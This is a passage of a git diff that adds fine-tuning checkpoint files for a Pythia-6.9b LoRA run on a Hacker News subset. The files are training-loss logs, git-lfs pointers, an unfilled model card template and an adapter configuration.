"eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 4.028591156005859, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5764, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 3.0296239852905273, + "eval_runtime": 43.8141, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 4.286259651184082, + "learning_rate": 6.51851851851852e-06, + "loss": 1.589, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 3.055720806121826, + "eval_runtime": 43.803, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 3.8886613845825195, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5475, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 3.0486762523651123, + "eval_runtime": 43.7998, + "eval_samples_per_second": 22.831, + "eval_steps_per_second": 2.854, + "step": 630 + }, + { + "epoch": 8.533333333333333, + "grad_norm": 4.028053283691406, + "learning_rate": 4.1481481481481485e-06, + "loss": 1.5562, + "step": 640 + }, + { + "epoch": 8.533333333333333, + "eval_loss": 3.0449891090393066, + "eval_runtime": 43.7929, + "eval_samples_per_second": 22.835, + "eval_steps_per_second": 2.854, + "step": 640 + }, + { + "epoch": 8.666666666666666, + "grad_norm": 3.9524431228637695, + "learning_rate": 2.962962962962963e-06, + "loss": 1.6302, + "step": 650 + }, + { + "epoch": 8.666666666666666, + "eval_loss": 3.04494047164917, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 650 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.06509467910144e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-650/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..5cea26836cf9674eb870891e618b76b0528b6fe5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0356489bab163c0f73c6d2482eaaa98ce02bd3a4e5323b0a4d5b07d850c35ba4 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..d8b3a15eda21d54de5779f0a3984ff024f30a627 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:93be34de99aabc0a4cb176e41cdabc4fb9382ecd111fd7b31d1567196e440bc9 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..1bd0e24dcfea6867dcdb66e0b90f3344dbd9d339 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:66fa7ea9452d536e82e5c18c4a0a05615143763aa569d9af13553a06a11128de +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..403f6f78ce81468eb12e4e1c093d8452c7d5a14e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e9e3b3eb476269cb66006445e45fa57a95b9d6fbb9998ae81b82199f9b98541e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..089e3fa3cbc02a088aa4995065a1076c4921a706 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-660/trainer_state.json @@ -0,0 +1,1023 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.8, + "eval_steps": 10, + "global_step": 660, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + 